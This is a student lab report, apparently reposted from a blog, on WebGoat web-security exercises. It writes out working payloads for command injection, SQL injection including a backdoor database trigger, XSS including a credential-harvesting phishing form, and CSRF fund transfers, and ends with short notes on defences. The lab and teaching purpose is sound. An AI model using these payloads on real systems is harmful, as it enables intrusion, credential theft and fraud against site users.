2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础
实践内容
- SQL注入攻击
- 命令注入(Command Injection)
- 数字型SQL注入(Numeric SQL Injection)
- 日志欺骗(Log Spoofing)
- 字符串型注入(String SQL Injection)
- LAB: SQL Injection
- 数据库后门(Database Backdoors)
- XSS攻击
- Phishing with XSS
- Stored XSS Attacks
- Reflected XSS Attacks
- CSRF攻击
- Cross Site Request Forgery
- CSRF Prompt By-Pass
实践过程
WebGoat安装
WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。
先把jar包下载到虚拟机中,在包的目录下使用指令java -jar webgoat-container-7.0.1-war-exec.jar
进行WebGoat的安装。安装成功如下:
之后在浏览器输入localhost:8080/WebGoat
可进入WebGoat界面,使用默认用户名密码即可登录。
SQL注入攻击
1.命令注入(Command Injection)
- 可以查看到相关端口的信息
选择Command Injection选项卡。
右击页面选择网页源代码,添加一句"& netstat -an & ipconfig"
。
点击view查看结果,可以查看到相关端口的信息:
未注入则会返回Returncode 0
数字型SQL注入(Numeric SQL Injection)
选择Numeric SQL Injection选项卡。
查看网页源代码。对源代码value="101"
进行修改,在(城市编号101)
后面添加or 1=1
。
修改完成后点击Go,即可查看到天气状况:
日志欺骗(Log Spoofing)
- 可以显示admin账户成功登陆。
在Log Spoofing选项卡的User Name一栏中输入webgoat%0d%0aLogin Succeeded for username: admin
,其中%0d和%0a为回车和换行符。
点击login,显示出了结果,下方提示语句多了webgoat Login Succeed的字样。
字符串型注入(String SQL Injection)
- 可以基于查询语句构造自己的SQL 注入字符串将所有信用卡信息显示出来。
选择String SQL Injection选项卡,输入查询用户名Smith‘ or 1=1--
,因为‘提前闭合了",1=1
为永真式,再使用--注释掉后面的内容,所以成功查询了数据库内的内容,select数据库中的内容。
LAB: SQL Injection
- 可以绕过认证
如果在密码框直接输入‘ or 1=1 --
会被限制输入长度
故在网页源代码中将长度限制修改。
再使用永真式‘ or 1=1 --
即可登录成功
数据库后门(Database Backdoors)
输入用户ID:101可以查看到用户的信息。
接着输入101; update employee set salary=10000
可以更改数据库中的数据。
设置触发器
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid
成功创建后门
XSS攻击
Phishing with XSS
- 实现钓鱼工具或向某些官方页面中增加内容。
在页面的搜索框中输入
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
会发现页面上多了一个表单:
我们再加入一段传递参数的代码,组合之后如下:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
在搜索框中输入该代码后,点击登录后用户名和密码会在弹窗中反馈给我们。
Stored XSS Attacks
- 创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
在Message中输入<script>alert("20165204 attack succeed!");</script>
,提交后可以看到刚刚创建的帖子。点击20165204可以显示攻击成功弹窗。
Reflected XSS Attacks
- 恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。
在Enter your three digit access code:
中输入<script>alert("I am ironman");</script>
点击Purchase,成功显示警告框,内容为我们script脚本指定的内容。
输入实验一的脚本输入登录信息点击登录发现也可以成功,会返回我们一个登录信息.
CSRF攻击
Cross Site Request Forgery
查看页面右下方Parameters中的src和menu值,我的分别为309和900。
我们在Message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=309&menu=900&transferFunds=5000" width="1" height="1" />
以图片的的形式将URL放进Message框,这时的URL对用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交,即转走的受害人的金额
输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
CSRF Prompt By-Pass
查看页面右下方的Parameters中的src和menu值,我的分别为331和900,并输入任意的Title,message框中输入代码.
<iframe src="attack?Screen=331&menu=900&transferFunds=5000"> </iframe> <iframe> src="attack?Screen=331&menu=900&transferFunds=CONFIRM"> </iframe>
点击submit,生成以title命名的链接,点击链接攻击成功
。
实验结论
基础问题回答
1.SQL注入攻击原理,如何防御
SQL通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。
具体防御时可以可以在输入框内限制特殊字符,限制输入长度来达到目的。或者对数据库权限进行限制。
2.XSS攻击的原理,如何防御
XSS:跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
防御方法也是限制特殊字符、还有对表单内容进行过滤等。
3、CSRF攻击原理,如何防御
全程为跨站域请求伪造,攻击者借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。算是XSS攻击中的一种。
防御方法:
- 伪造的请求一般是从第三方网站发起的,所以第一个防御方法就是判断 referer 头,如果不是来自本网站的请求,就判定为CSRF攻击。
- 使用验证码。
实验总结与体会
本次实验环境类似于之前使用的实验楼,在虚拟环境中实现一个又一个题目。现在也算理解为什么那么多字符不可以使用。如果是自己编的网站可能随随便便就被黑穿了。
原文地址:https://www.cnblogs.com/jph596299009/p/10926108.html